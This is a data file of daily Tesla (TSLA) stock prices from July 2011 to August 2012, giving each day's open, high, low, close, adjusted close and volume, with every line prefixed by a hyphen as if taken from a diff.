-2011-07-25,29.010000228881836,29.25,28.440000534057617,28.489999771118164,28.489999771118164,673300,TSLA
-2011-07-26,28.309999465942383,28.770000457763672,27.969999313354492,28.0,28.0,760600,TSLA
-2011-07-27,28.5,28.5,27.510000228881836,27.639999389648438,27.639999389648438,958500,TSLA
-2011-07-28,27.600000381469727,28.549999237060547,27.540000915527344,28.170000076293945,28.170000076293945,938700,TSLA
-2011-07-29,27.799999237060547,28.399999618530273,27.5,28.170000076293945,28.170000076293945,948200,TSLA
-2011-08-01,28.670000076293945,28.979999542236328,28.209999084472656,28.770000457763672,28.770000457763672,1164900,TSLA
-2011-08-02,28.690000534057617,29.200000762939453,27.270000457763672,27.34000015258789,27.34000015258789,1549400,TSLA
-2011-08-03,27.5,27.829999923706055,26.34000015258789,27.200000762939453,27.200000762939453,1794500,TSLA
-2011-08-04,26.510000228881836,26.889999389648438,24.670000076293945,24.75,24.75,3064500,TSLA
-2011-08-05,24.989999771118164,25.3799991607666,22.829999923706055,24.239999771118164,24.239999771118164,1964400,TSLA
-2011-08-08,23.100000381469727,24.440000534057617,23.100000381469727,23.639999389648438,23.639999389648438,2608500,TSLA
-2011-08-09,24.149999618530273,25.450000762939453,23.700000762939453,25.059999465942383,25.059999465942383,1333400,TSLA
-2011-08-10,25.440000534057617,25.440000534057617,23.6299991607666,23.81999969482422,23.81999969482422,1564200,TSLA
-2011-08-11,24.040000915527344,25.75,24.0,25.299999237060547,25.299999237060547,836500,TSLA
-2011-08-12,25.600000381469727,27.139999389648438,25.360000610351562,26.309999465942383,26.309999465942383,1009100,TSLA
-2011-08-15,26.6200008392334,26.75,25.93000030517578,26.229999542236328,26.229999542236328,738600,TSLA
-2011-08-16,26.1299991607666,26.540000915527344,25.829999923706055,26.100000381469727,26.100000381469727,537700,TSLA
-2011-08-17,26.389999389648438,26.649999618530273,25.510000228881836,25.829999923706055,25.829999923706055,643700,TSLA
-2011-08-18,25.0,25.149999618530273,23.469999313354492,24.260000228881836,24.260000228881836,1056600,TSLA
-2011-08-19,23.860000610351562,24.219999313354492,22.0,22.299999237060547,22.299999237060547,1375300,TSLA
-2011-08-22,23.110000610351562,23.799999237060547,21.68000030517578,21.950000762939453,21.950000762939453,986100,TSLA
-2011-08-23,21.93000030517578,23.110000610351562,21.5,22.959999084472656,22.959999084472656,869000,TSLA
-2011-08-24,23.100000381469727,23.93000030517578,22.829999923706055,23.8700008392334,23.8700008392334,684300,TSLA
-2011-08-25,23.8700008392334,23.8700008392334,22.899999618530273,23.110000610351562,23.110000610351562,679800,TSLA
-2011-08-26,22.709999084472656,23.950000762939453,22.06999969482422,23.729999542236328,23.729999542236328,761800,TSLA
-2011-08-29,24.219999313354492,24.850000381469727,24.020000457763672,24.709999084472656,24.709999084472656,803400,TSLA
-2011-08-30,24.5,24.770000457763672,24.09000015258789,24.6299991607666,24.6299991607666,366200,TSLA
-2011-08-31,24.799999237060547,25.5,24.280000686645508,24.739999771118164,24.739999771118164,823800,TSLA
-2011-09-01,24.65999984741211,24.8700008392334,23.84000015258789,24.0,24.0,848100,TSLA
-2011-09-02,23.65999984741211,23.989999771118164,22.68000030517578,23.06999969482422,23.06999969482422,769900,TSLA
-2011-09-06,22.5,23.200000762939453,22.290000915527344,22.940000534057617,22.940000534057617,809800,TSLA
-2011-09-07,23.389999389648438,24.0,23.280000686645508,23.84000015258789,23.84000015258789,459200,TSLA
-2011-09-08,23.579999923706055,24.030000686645508,23.280000686645508,23.610000610351562,23.610000610351562,505700,TSLA
-2011-09-09,23.3700008392334,23.56999969482422,22.549999237060547,22.969999313354492,22.969999313354492,669300,TSLA
-2011-09-12,22.5,23.309999465942383,22.450000762939453,22.8799991607666,22.8799991607666,566600,TSLA
-2011-09-13,23.010000228881836,24.100000381469727,22.75,24.079999923706055,24.079999923706055,726500,TSLA
-2011-09-14,24.25,24.84000015258789,23.790000915527344,24.34000015258789,24.34000015258789,830800,TSLA
-2011-09-15,24.579999923706055,24.93000030517578,24.329999923706055,24.81999969482422,24.81999969482422,562600,TSLA
-2011-09-16,24.780000686645508,25.84000015258789,24.489999771118164,25.799999237060547,25.799999237060547,1417100,TSLA
-2011-09-19,24.950000762939453,25.809999465942383,23.81999969482422,25.770000457763672,25.770000457763672,1157400,TSLA
-2011-09-20,25.979999542236328,26.600000381469727,25.670000076293945,26.010000228881836,26.010000228881836,1180400,TSLA
-2011-09-21,25.950000762939453,26.950000762939453,25.700000762939453,25.850000381469727,25.850000381469727,987600,TSLA
-2011-09-22,25.639999389648438,26.110000610351562,24.8799991607666,25.6299991607666,25.6299991607666,775800,TSLA
-2011-09-23,25.489999771118164,26.6200008392334,25.350000381469727,26.3799991607666,26.3799991607666,1156400,TSLA
-2011-09-26,26.520000457763672,26.520000457763672,24.899999618530273,25.520000457763672,25.520000457763672,934800,TSLA
-2011-09-27,26.0,26.989999771118164,25.56999969482422,26.190000534057617,26.190000534057617,674500,TSLA
-2011-09-28,26.0,26.5,24.510000228881836,24.59000015258789,24.59000015258789,723300,TSLA
-2011-09-29,25.719999313354492,25.81999969482422,23.549999237060547,24.1200008392334,24.1200008392334,929600,TSLA
-2011-09-30,24.799999237060547,24.889999389648438,23.489999771118164,24.389999389648438,24.389999389648438,1336100,TSLA
-2011-10-03,24.950000762939453,25.0,23.25,23.729999542236328,23.729999542236328,1023200,TSLA
-2011-10-04,23.290000915527344,24.31999969482422,22.93000030517578,23.65999984741211,23.65999984741211,1200300,TSLA
-2011-10-05,24.030000686645508,25.84000015258789,23.350000381469727,25.3700008392334,25.3700008392334,1229500,TSLA
-2011-10-06,25.3700008392334,27.600000381469727,25.020000457763672,26.959999084472656,26.959999084472656,1769100,TSLA
-2011-10-07,26.979999542236328,27.600000381469727,26.049999237060547,26.989999771118164,26.989999771118164,1311600,TSLA
-2011-10-10,27.309999465942383,28.18000030517578,27.0,27.8799991607666,27.8799991607666,923500,TSLA
-2011-10-11,27.510000228881836,27.770000457763672,27.09000015258789,27.610000610351562,27.610000610351562,575700,TSLA
-2011-10-12,27.25,28.0,27.200000762939453,27.799999237060547,27.799999237060547,1123400,TSLA
-2011-10-13,27.6299991607666,28.469999313354492,27.440000534057617,27.940000534057617,27.940000534057617,1043500,TSLA
-2011-10-14,28.0,28.549999237060547,27.260000228881836,28.049999237060547,28.049999237060547,1400500,TSLA
-2011-10-17,27.860000610351562,28.0,27.260000228881836,27.420000076293945,27.420000076293945,754500,TSLA
-2011-10-18,27.299999237060547,28.43000030517578,26.709999084472656,28.34000015258789,28.34000015258789,999700,TSLA
-2011-10-19,28.020000457763672,28.059999465942383,27.299999237060547,27.56999969482422,27.56999969482422,792900,TSLA
-2011-10-20,27.440000534057617,27.469999313354492,27.0,27.34000015258789,27.34000015258789,999700,TSLA
-2011-10-21,27.399999618530273,28.299999237060547,27.010000228881836,28.030000686645508,28.030000686645508,1142600,TSLA
-2011-10-24,27.8700008392334,28.889999389648438,27.75,28.549999237060547,28.549999237060547,940600,TSLA
-2011-10-25,28.229999542236328,28.860000610351562,27.799999237060547,28.25,28.25,654400,TSLA
-2011-10-26,28.190000534057617,28.3700008392334,27.399999618530273,27.979999542236328,27.979999542236328,510500,TSLA
-2011-10-27,28.34000015258789,28.950000762939453,28.110000610351562,28.760000228881836,28.760000228881836,869400,TSLA
-2011-10-28,28.5,30.0,28.010000228881836,29.8700008392334,29.8700008392334,1264000,TSLA
-2011-10-31,29.5,29.510000228881836,28.75,29.3700008392334,29.3700008392334,1134000,TSLA
-2011-11-01,28.389999389648438,28.920000076293945,28.0,28.8799991607666,28.8799991607666,635200,TSLA
-2011-11-02,29.0,29.260000228881836,28.25,28.709999084472656,28.709999084472656,875300,TSLA
-2011-11-03,30.0,32.4900016784668,29.530000686645508,32.459999084472656,32.459999084472656,2509700,TSLA
-2011-11-04,31.459999084472656,32.400001525878906,30.510000228881836,32.310001373291016,32.310001373291016,3032900,TSLA
-2011-11-07,31.639999389648438,32.0,30.75,31.270000457763672,31.270000457763672,1266300,TSLA
-2011-11-08,31.3700008392334,32.0,30.719999313354492,31.84000015258789,31.84000015258789,1167900,TSLA
-2011-11-09,30.8700008392334,31.489999771118164,30.299999237060547,30.8799991607666,30.8799991607666,953700,TSLA
-2011-11-10,30.940000534057617,31.5,30.649999618530273,31.329999923706055,31.329999923706055,747300,TSLA
-2011-11-11,31.899999618530273,34.5,30.56999969482422,33.63999938964844,33.63999938964844,3868300,TSLA
-2011-11-14,33.0,33.540000915527344,32.619998931884766,33.220001220703125,33.220001220703125,1325700,TSLA
-2011-11-15,32.91999816894531,34.400001525878906,32.72999954223633,33.93000030517578,33.93000030517578,891000,TSLA
-2011-11-16,33.47999954223633,35.0,33.400001525878906,34.939998626708984,34.939998626708984,1833200,TSLA
-2011-11-17,34.5,34.900001525878906,33.189998626708984,33.68000030517578,33.68000030517578,1349300,TSLA
-2011-11-18,33.63999938964844,34.11000061035156,32.540000915527344,32.599998474121094,32.599998474121094,902800,TSLA
-2011-11-21,32.439998626708984,32.439998626708984,31.049999237060547,31.760000228881836,31.760000228881836,1031600,TSLA
-2011-11-22,31.760000228881836,32.790000915527344,31.049999237060547,32.06999969482422,32.06999969482422,732600,TSLA
-2011-11-23,31.760000228881836,32.04999923706055,31.25,31.450000762939453,31.450000762939453,451800,TSLA
-2011-11-25,31.549999237060547,32.40999984741211,31.079999923706055,31.65999984741211,31.65999984741211,239600,TSLA
-2011-11-28,32.0,33.279998779296875,31.809999465942383,32.560001373291016,32.560001373291016,681200,TSLA
-2011-11-29,32.4900016784668,33.06999969482422,31.6299991607666,31.75,31.75,591100,TSLA
-2011-11-30,32.5,32.93000030517578,32.220001220703125,32.7400016784668,32.7400016784668,760300,TSLA
-2011-12-01,32.56999969482422,33.9900016784668,31.979999542236328,32.599998474121094,32.599998474121094,1030200,TSLA
-2011-12-02,32.83000183105469,33.689998626708984,32.400001525878906,33.29999923706055,33.29999923706055,802800,TSLA
-2011-12-05,33.529998779296875,35.0,33.43000030517578,34.41999816894531,34.41999816894531,1160100,TSLA
-2011-12-06,34.20000076293945,34.97999954223633,34.029998779296875,34.869998931884766,34.869998931884766,951800,TSLA
-2011-12-07,34.630001068115234,34.88999938964844,33.79999923706055,34.189998626708984,34.189998626708984,674300,TSLA
-2011-12-08,30.84000015258789,31.649999618530273,29.610000610351562,30.889999389648438,30.889999389648438,3305800,TSLA
-2011-12-09,30.540000915527344,31.1200008392334,30.280000686645508,31.040000915527344,31.040000915527344,1239500,TSLA
-2011-12-12,30.440000534057617,30.6200008392334,30.020000457763672,30.40999984741211,30.40999984741211,758700,TSLA
-2011-12-13,30.56999969482422,30.93000030517578,28.90999984741211,29.450000762939453,29.450000762939453,994100,TSLA
-2011-12-14,29.5,29.68000030517578,28.0,28.530000686645508,28.530000686645508,1163900,TSLA
-2011-12-15,28.670000076293945,29.170000076293945,28.1200008392334,28.6200008392334,28.6200008392334,700300,TSLA
-2011-12-16,28.790000915527344,28.93000030517578,27.979999542236328,28.0,28.0,1029700,TSLA
-2011-12-19,28.09000015258789,28.5,27.3700008392334,27.75,27.75,987000,TSLA
-2011-12-20,28.049999237060547,28.450000762939453,27.719999313354492,27.899999618530273,27.899999618530273,843300,TSLA
-2011-12-21,27.90999984741211,28.06999969482422,26.030000686645508,27.56999969482422,27.56999969482422,1705500,TSLA
-2011-12-22,27.600000381469727,28.049999237060547,27.299999237060547,27.770000457763672,27.770000457763672,1009400,TSLA
-2011-12-23,28.0,28.0,27.520000457763672,27.899999618530273,27.899999618530273,591400,TSLA
-2011-12-27,27.65999984741211,28.770000457763672,27.639999389648438,28.56999969482422,28.56999969482422,777500,TSLA
-2011-12-28,28.989999771118164,29.239999771118164,28.040000915527344,28.510000228881836,28.510000228881836,575200,TSLA
-2011-12-29,28.59000015258789,29.34000015258789,28.549999237060547,28.729999542236328,28.729999542236328,488200,TSLA
-2011-12-30,28.489999771118164,28.979999542236328,28.25,28.559999465942383,28.559999465942383,339800,TSLA
-2012-01-03,28.940000534057617,29.5,27.649999618530273,28.079999923706055,28.079999923706055,928100,TSLA
-2012-01-04,28.209999084472656,28.670000076293945,27.5,27.709999084472656,27.709999084472656,630100,TSLA
-2012-01-05,27.760000228881836,27.93000030517578,26.850000381469727,27.1200008392334,27.1200008392334,1005500,TSLA
-2012-01-06,27.200000762939453,27.790000915527344,26.40999984741211,26.90999984741211,26.90999984741211,986300,TSLA
-2012-01-09,27.0,27.489999771118164,26.1200008392334,27.25,27.25,897000,TSLA
-2012-01-10,27.440000534057617,27.760000228881836,27.25,27.6200008392334,27.6200008392334,671800,TSLA
-2012-01-11,27.6200008392334,28.3799991607666,27.299999237060547,28.229999542236328,28.229999542236328,672300,TSLA
-2012-01-12,28.479999542236328,28.6200008392334,27.809999465942383,28.25,28.25,729300,TSLA
-2012-01-13,28.399999618530273,28.5,22.639999389648438,22.790000915527344,22.790000915527344,5500400,TSLA
-2012-01-17,26.6200008392334,27.34000015258789,26.40999984741211,26.600000381469727,26.600000381469727,4651600,TSLA
-2012-01-18,26.690000534057617,26.8799991607666,26.25,26.809999465942383,26.809999465942383,1260200,TSLA
-2012-01-19,27.190000534057617,27.739999771118164,26.610000610351562,26.760000228881836,26.760000228881836,1246300,TSLA
-2012-01-20,26.899999618530273,27.0,26.399999618530273,26.600000381469727,26.600000381469727,662300,TSLA
-2012-01-23,26.809999465942383,27.209999084472656,26.600000381469727,26.770000457763672,26.770000457763672,594600,TSLA
-2012-01-24,26.6299991607666,27.68000030517578,26.440000534057617,27.420000076293945,27.420000076293945,858000,TSLA
-2012-01-25,27.270000457763672,28.010000228881836,27.049999237060547,27.969999313354492,27.969999313354492,611200,TSLA
-2012-01-26,28.06999969482422,29.579999923706055,28.0,28.940000534057617,28.940000534057617,1271100,TSLA
-2012-01-27,28.5,29.719999313354492,28.5,29.329999923706055,29.329999923706055,748400,TSLA
-2012-01-30,29.489999771118164,29.610000610351562,28.530000686645508,29.56999969482422,29.56999969482422,729000,TSLA
-2012-01-31,29.899999618530273,30.0,28.8700008392334,29.06999969482422,29.06999969482422,956400,TSLA
-2012-02-01,29.06999969482422,29.700000762939453,29.0,29.579999923706055,29.579999923706055,523200,TSLA
-2012-02-02,29.719999313354492,30.8799991607666,29.610000610351562,30.25,30.25,805700,TSLA
-2012-02-03,30.40999984741211,31.329999923706055,30.25,31.149999618530273,31.149999618530273,764500,TSLA
-2012-02-06,31.100000381469727,31.899999618530273,31.049999237060547,31.799999237060547,31.799999237060547,652100,TSLA
-2012-02-07,31.799999237060547,31.799999237060547,30.81999969482422,31.600000381469727,31.600000381469727,1021600,TSLA
-2012-02-08,31.600000381469727,32.0099983215332,31.290000915527344,31.93000030517578,31.93000030517578,623700,TSLA
-2012-02-09,32.0,32.900001525878906,31.43000030517578,32.58000183105469,32.58000183105469,1277100,TSLA
-2012-02-10,32.2599983215332,32.27000045776367,29.84000015258789,31.100000381469727,31.100000381469727,1874200,TSLA
-2012-02-13,31.549999237060547,32.060001373291016,30.899999618530273,31.489999771118164,31.489999771118164,1157900,TSLA
-2012-02-14,31.739999771118164,33.790000915527344,31.399999618530273,33.16999816894531,33.16999816894531,1810800,TSLA
-2012-02-15,33.099998474121094,34.40999984741211,32.27000045776367,33.599998474121094,33.599998474121094,2761800,TSLA
-2012-02-16,33.5,34.5099983215332,32.540000915527344,34.18000030517578,34.18000030517578,2219700,TSLA
-2012-02-17,33.9900016784668,34.970001220703125,33.5,34.970001220703125,34.970001220703125,1376700,TSLA
-2012-02-21,34.869998931884766,34.869998931884766,33.810001373291016,34.5,34.5,1135800,TSLA
-2012-02-22,34.5,34.720001220703125,32.5,34.220001220703125,34.220001220703125,1654600,TSLA
-2012-02-23,33.9900016784668,34.970001220703125,33.560001373291016,34.529998779296875,34.529998779296875,820400,TSLA
-2012-02-24,34.22999954223633,34.52000045776367,33.27000045776367,33.75,33.75,959900,TSLA
-2012-02-27,33.40999984741211,34.0,33.0,33.619998931884766,33.619998931884766,606000,TSLA
-2012-02-28,33.63999938964844,34.439998626708984,33.16999816894531,33.810001373291016,33.810001373291016,612200,TSLA
-2012-02-29,33.810001373291016,34.119998931884766,33.13999938964844,33.40999984741211,33.40999984741211,535700,TSLA
-2012-03-01,33.5099983215332,34.5,33.310001373291016,34.40999984741211,34.40999984741211,703500,TSLA
-2012-03-02,34.400001525878906,34.5,33.709999084472656,34.040000915527344,34.040000915527344,550000,TSLA
-2012-03-05,34.349998474121094,34.400001525878906,33.459999084472656,33.77000045776367,33.77000045776367,467000,TSLA
-2012-03-06,33.25,33.279998779296875,32.619998931884766,33.11000061035156,33.11000061035156,573800,TSLA
-2012-03-07,33.119998931884766,33.310001373291016,32.90999984741211,33.119998931884766,33.119998931884766,364900,TSLA
-2012-03-08,33.11000061035156,33.4900016784668,33.040000915527344,33.06999969482422,33.06999969482422,633300,TSLA
-2012-03-09,33.20000076293945,35.310001373291016,33.20000076293945,34.7400016784668,34.7400016784668,1553400,TSLA
-2012-03-12,34.689998626708984,36.290000915527344,34.599998474121094,36.0099983215332,36.0099983215332,1963300,TSLA
-2012-03-13,36.5099983215332,36.59000015258789,35.5,36.09000015258789,36.09000015258789,1001600,TSLA
-2012-03-14,36.0,36.0,34.79999923706055,35.290000915527344,35.290000915527344,851500,TSLA
-2012-03-15,35.279998779296875,35.47999954223633,34.779998779296875,35.0,35.0,571600,TSLA
-2012-03-16,34.900001525878906,35.88999938964844,34.83000183105469,35.31999969482422,35.31999969482422,729300,TSLA
-2012-03-19,35.2599983215332,35.31999969482422,34.540000915527344,34.97999954223633,34.97999954223633,1015600,TSLA
-2012-03-20,34.97999954223633,35.20000076293945,34.56999969482422,34.959999084472656,34.959999084472656,567000,TSLA
-2012-03-21,34.939998626708984,35.29999923706055,34.599998474121094,35.150001525878906,35.150001525878906,607200,TSLA
-2012-03-22,34.970001220703125,35.150001525878906,34.29999923706055,34.400001525878906,34.400001525878906,522400,TSLA
-2012-03-23,34.2599983215332,34.630001068115234,33.150001525878906,34.08000183105469,34.08000183105469,1170600,TSLA
-2012-03-26,35.59000015258789,38.09000015258789,35.040000915527344,37.400001525878906,37.400001525878906,3140500,TSLA
-2012-03-27,37.15999984741211,39.95000076293945,37.029998779296875,37.939998626708984,37.939998626708984,2539200,TSLA
-2012-03-28,37.779998779296875,38.439998626708984,37.11000061035156,37.849998474121094,37.849998474121094,955000,TSLA
-2012-03-29,38.189998626708984,38.189998626708984,37.029998779296875,37.33000183105469,37.33000183105469,796400,TSLA
-2012-03-30,37.52000045776367,37.939998626708984,36.68000030517578,37.2400016784668,37.2400016784668,886400,TSLA
-2012-04-02,37.33000183105469,37.970001220703125,36.529998779296875,36.58000183105469,36.58000183105469,1028600,TSLA
-2012-04-03,36.70000076293945,38.470001220703125,36.66999816894531,38.0099983215332,38.0099983215332,1098100,TSLA
-2012-04-04,35.27000045776367,35.4900016784668,34.689998626708984,35.0,35.0,4481800,TSLA
-2012-04-05,35.099998474121094,35.439998626708984,34.40999984741211,34.47999954223633,34.47999954223633,1509400,TSLA
-2012-04-09,34.099998474121094,34.290000915527344,33.099998474121094,33.150001525878906,33.150001525878906,1655700,TSLA
-2012-04-10,33.150001525878906,33.849998474121094,32.099998474121094,32.459999084472656,32.459999084472656,1847700,TSLA
-2012-04-11,33.2400016784668,33.290000915527344,32.0099983215332,33.09000015258789,33.09000015258789,1105500,TSLA
-2012-04-12,33.77000045776367,34.47999954223633,32.91999816894531,33.439998626708984,33.439998626708984,1033900,TSLA
-2012-04-13,33.939998626708984,34.040000915527344,32.849998474121094,33.59000015258789,33.59000015258789,649600,TSLA
-2012-04-16,33.40999984741211,33.70000076293945,32.09000015258789,32.25,32.25,1099600,TSLA
-2012-04-17,32.43000030517578,33.06999969482422,32.040000915527344,32.2400016784668,32.2400016784668,1115500,TSLA
-2012-04-18,32.09000015258789,32.75,31.530000686645508,32.65999984741211,32.65999984741211,823100,TSLA
-2012-04-19,32.75,33.43000030517578,32.5,33.15999984741211,33.15999984741211,774900,TSLA
-2012-04-20,33.13999938964844,33.72999954223633,32.939998626708984,33.15999984741211,33.15999984741211,821800,TSLA
-2012-04-23,32.86000061035156,32.970001220703125,31.709999084472656,31.940000534057617,31.940000534057617,890800,TSLA
-2012-04-24,31.81999969482422,32.20000076293945,31.0,31.81999969482422,31.81999969482422,674500,TSLA
-2012-04-25,32.06999969482422,32.9900016784668,32.06999969482422,32.90999984741211,32.90999984741211,712200,TSLA
-2012-04-26,32.959999084472656,33.52000045776367,32.90999984741211,33.4900016784668,33.4900016784668,425300,TSLA
-2012-04-27,33.599998474121094,33.630001068115234,32.90999984741211,33.34000015258789,33.34000015258789,591000,TSLA
-2012-04-30,33.27000045776367,33.36000061035156,32.58000183105469,33.130001068115234,33.130001068115234,413900,TSLA
-2012-05-01,33.130001068115234,34.209999084472656,33.130001068115234,33.779998779296875,33.779998779296875,659000,TSLA
-2012-05-02,33.5,34.38999938964844,33.38999938964844,33.939998626708984,33.939998626708984,497300,TSLA
-2012-05-03,33.90999984741211,34.0,32.130001068115234,32.459999084472656,32.459999084472656,841300,TSLA
-2012-05-04,32.31999969482422,32.459999084472656,31.399999618530273,31.829999923706055,31.829999923706055,1247500,TSLA
-2012-05-07,31.959999084472656,32.58000183105469,31.610000610351562,32.470001220703125,32.470001220703125,1158000,TSLA
-2012-05-08,32.5,32.72999954223633,29.3700008392334,30.190000534057617,30.190000534057617,3097200,TSLA
-2012-05-09,30.299999237060547,30.770000457763672,29.760000228881836,30.059999465942383,30.059999465942383,1947900,TSLA
-2012-05-10,32.970001220703125,34.68000030517578,32.400001525878906,32.959999084472656,32.959999084472656,5556300,TSLA
-2012-05-11,32.4900016784668,33.439998626708984,32.15999984741211,32.25,32.25,1221300,TSLA
-2012-05-14,31.920000076293945,32.130001068115234,30.049999237060547,30.059999465942383,30.059999465942383,1380900,TSLA
-2012-05-15,30.260000228881836,30.959999084472656,29.219999313354492,29.43000030517578,29.43000030517578,1585700,TSLA
-2012-05-16,29.579999923706055,30.18000030517578,28.8799991607666,29.18000030517578,29.18000030517578,1257100,TSLA
-2012-05-17,29.299999237060547,29.790000915527344,28.239999771118164,28.56999969482422,28.56999969482422,1149000,TSLA
-2012-05-18,28.3700008392334,28.459999084472656,26.829999923706055,27.559999465942383,27.559999465942383,1616500,TSLA
-2012-05-21,27.579999923706055,29.260000228881836,27.1200008392334,28.770000457763672,28.770000457763672,1475200,TSLA
-2012-05-22,30.100000381469727,31.34000015258789,30.0,30.799999237060547,30.799999237060547,2366200,TSLA
-2012-05-23,30.559999465942383,31.049999237060547,29.5,31.020000457763672,31.020000457763672,1220400,TSLA
-2012-05-24,31.25,31.25,29.690000534057617,30.280000686645508,30.280000686645508,1075600,TSLA
-2012-05-25,30.15999984741211,30.40999984741211,29.200000762939453,29.809999465942383,29.809999465942383,757000,TSLA
-2012-05-29,30.010000228881836,31.93000030517578,30.010000228881836,31.690000534057617,31.690000534057617,1650000,TSLA
-2012-05-30,31.079999923706055,31.420000076293945,30.239999771118164,30.40999984741211,30.40999984741211,1307200,TSLA
-2012-05-31,30.06999969482422,30.290000915527344,28.75,29.5,29.5,1118700,TSLA
-2012-06-01,28.530000686645508,29.15999984741211,27.760000228881836,28.149999618530273,28.149999618530273,885800,TSLA
-2012-06-04,28.030000686645508,28.40999984741211,27.110000610351562,27.8799991607666,27.8799991607666,1030900,TSLA
-2012-06-05,27.84000015258789,28.389999389648438,27.559999465942383,27.90999984741211,27.90999984741211,630900,TSLA
-2012-06-06,28.200000762939453,29.450000762939453,28.139999389648438,29.219999313354492,29.219999313354492,909900,TSLA
-2012-06-07,29.809999465942383,29.8700008392334,28.850000381469727,28.93000030517578,28.93000030517578,492100,TSLA
-2012-06-08,28.860000610351562,30.190000534057617,28.149999618530273,30.079999923706055,30.079999923706055,881100,TSLA
-2012-06-11,30.309999465942383,31.0,28.959999084472656,29.1200008392334,29.1200008392334,636000,TSLA
-2012-06-12,29.229999542236328,29.84000015258789,28.809999465942383,29.65999984741211,29.65999984741211,569000,TSLA
-2012-06-13,29.549999237060547,30.639999389648438,29.469999313354492,29.770000457763672,29.770000457763672,844100,TSLA
-2012-06-14,30.18000030517578,30.649999618530273,28.6200008392334,29.389999389648438,29.389999389648438,872200,TSLA
-2012-06-15,29.389999389648438,29.950000762939453,28.809999465942383,29.90999984741211,29.90999984741211,646800,TSLA
-2012-06-18,29.940000534057617,32.33000183105469,29.5,31.84000015258789,31.84000015258789,1256800,TSLA
-2012-06-19,32.02000045776367,32.65999984741211,31.5,32.09000015258789,32.09000015258789,911100,TSLA
-2012-06-20,33.5,34.5,33.209999084472656,33.779998779296875,33.779998779296875,3422400,TSLA
-2012-06-21,34.2599983215332,34.279998779296875,31.84000015258789,32.189998626708984,32.189998626708984,1891900,TSLA
-2012-06-22,32.599998474121094,33.97999954223633,32.459999084472656,33.790000915527344,33.790000915527344,3046600,TSLA
-2012-06-25,33.939998626708984,34.119998931884766,32.75,33.11000061035156,33.11000061035156,1498500,TSLA
-2012-06-26,32.04999923706055,32.349998474121094,31.389999389648438,31.610000610351562,31.610000610351562,2613900,TSLA
-2012-06-27,31.899999618530273,32.45000076293945,31.56999969482422,31.959999084472656,31.959999084472656,1047200,TSLA
-2012-06-28,31.899999618530273,32.11000061035156,30.6200008392334,31.40999984741211,31.40999984741211,914100,TSLA
-2012-06-29,32.79999923706055,32.79999923706055,31.0,31.290000915527344,31.290000915527344,1125800,TSLA
-2012-07-02,31.350000381469727,31.799999237060547,30.190000534057617,30.399999618530273,30.399999618530273,1315600,TSLA
-2012-07-03,30.600000381469727,31.0,30.399999618530273,30.65999984741211,30.65999984741211,947000,TSLA
-2012-07-05,30.809999465942383,31.670000076293945,30.799999237060547,31.229999542236328,31.229999542236328,1253800,TSLA
-2012-07-06,30.989999771118164,31.729999542236328,30.799999237060547,30.989999771118164,30.989999771118164,784500,TSLA
-2012-07-09,30.940000534057617,31.829999923706055,30.670000076293945,31.489999771118164,31.489999771118164,910500,TSLA
-2012-07-10,31.540000915527344,32.47999954223633,30.889999389648438,31.270000457763672,31.270000457763672,758400,TSLA
-2012-07-11,31.56999969482422,31.68000030517578,31.010000228881836,31.510000228881836,31.510000228881836,638600,TSLA
-2012-07-12,31.290000915527344,33.0099983215332,30.799999237060547,32.70000076293945,32.70000076293945,1125700,TSLA
-2012-07-13,32.970001220703125,34.400001525878906,32.83000183105469,34.25,34.25,1304800,TSLA
-2012-07-16,34.31999969482422,36.0,33.900001525878906,35.959999084472656,35.959999084472656,1744000,TSLA
-2012-07-17,35.0,35.209999084472656,32.380001068115234,33.349998474121094,33.349998474121094,2569300,TSLA
-2012-07-18,31.420000076293945,33.66999816894531,31.059999465942383,32.150001525878906,32.150001525878906,2881900,TSLA
-2012-07-19,32.720001220703125,33.150001525878906,32.040000915527344,32.27000045776367,32.27000045776367,1435900,TSLA
-2012-07-20,32.06999969482422,32.25,31.25,31.790000915527344,31.790000915527344,1568500,TSLA
-2012-07-23,31.049999237060547,31.299999237060547,30.6200008392334,30.65999984741211,30.65999984741211,1386800,TSLA
-2012-07-24,30.65999984741211,31.040000915527344,29.6200008392334,29.84000015258789,29.84000015258789,1500300,TSLA
-2012-07-25,29.920000076293945,29.979999542236328,28.75,28.950000762939453,28.950000762939453,2842200,TSLA
-2012-07-26,29.899999618530273,30.0,27.639999389648438,28.1299991607666,28.1299991607666,2262300,TSLA
-2012-07-27,28.709999084472656,29.65999984741211,28.100000381469727,29.510000228881836,29.510000228881836,1673000,TSLA
-2012-07-30,29.510000228881836,30.25,27.209999084472656,27.350000381469727,27.350000381469727,2065200,TSLA
-2012-07-31,27.540000915527344,27.969999313354492,27.350000381469727,27.420000076293945,27.420000076293945,1575100,TSLA
-2012-08-01,27.989999771118164,27.989999771118164,26.030000686645508,26.25,26.25,1592300,TSLA
-2012-08-02,26.84000015258789,26.850000381469727,25.520000457763672,26.100000381469727,26.100000381469727,1305100,TSLA
-2012-08-03,26.899999618530273,27.549999237060547,26.739999771118164,27.270000457763672,27.270000457763672,1209500,TSLA
-2012-08-06,27.549999237060547,28.700000762939453,27.549999237060547,28.270000457763672,28.270000457763672,1528200,TSLA
-2012-08-07,28.770000457763672,30.899999618530273,28.5,30.25,30.25,2387200,TSLA
-2012-08-08,29.899999618530273,30.0,28.59000015258789,29.09000015258789,29.09000015258789,1308900,TSLA
-2012-08-09,29.520000457763672,30.0,29.1299991607666,29.40999984741211,29.40999984741211,672600,TSLA
-2012-08-10,29.309999465942383,29.940000534057617,29.309999465942383,29.940000534057617,29.940000534057617,707400,TSLA
-2012-08-13,29.690000534057617,31.299999237060547,29.100000381469727,31.170000076293945,31.170000076293945,870100,TSLA
-2012-08-14,30.75,31.170000076293945,29.260000228881836,29.420000076293945,29.420000076293945,793400,TSLA
-2012-08-15,29.389999389648438,29.700000762939453,28.809999465942383,29.399999618530273,29.399999618530273,525400,TSLA
-2012-08-16,29.530000686645508,30.389999389648438,29.5,30.299999237060547,30.299999237060547,669000,TSLA
-2012-08-17,30.290000915527344,30.709999084472656,29.979999542236328,30.010000228881836,30.010000228881836,508200,TSLA
-2012-08-20,30.149999618530273,30.389999389648438,29.100000381469727,29.510000228881836,29.510000228881836,1179100,TSLA
-2012-08-21,29.579999923706055,30.0,29.0,29.110000610351562,29.110000610351562,761600,TSLA
-2012-08-22,29.010000228881836,30.040000915527344,29.010000228881836,29.950000762939453,29.950000762939453,775500,TSLA
-2012-08-23,30.0,30.850000381469727,29.649999618530273,30.729999542236328,30.729999542236328,1471000,TSLA
-2012-08-24,30.059999465942383,30.239999771118164,29.40999984741211,29.5,29.5,1429400,TSLA
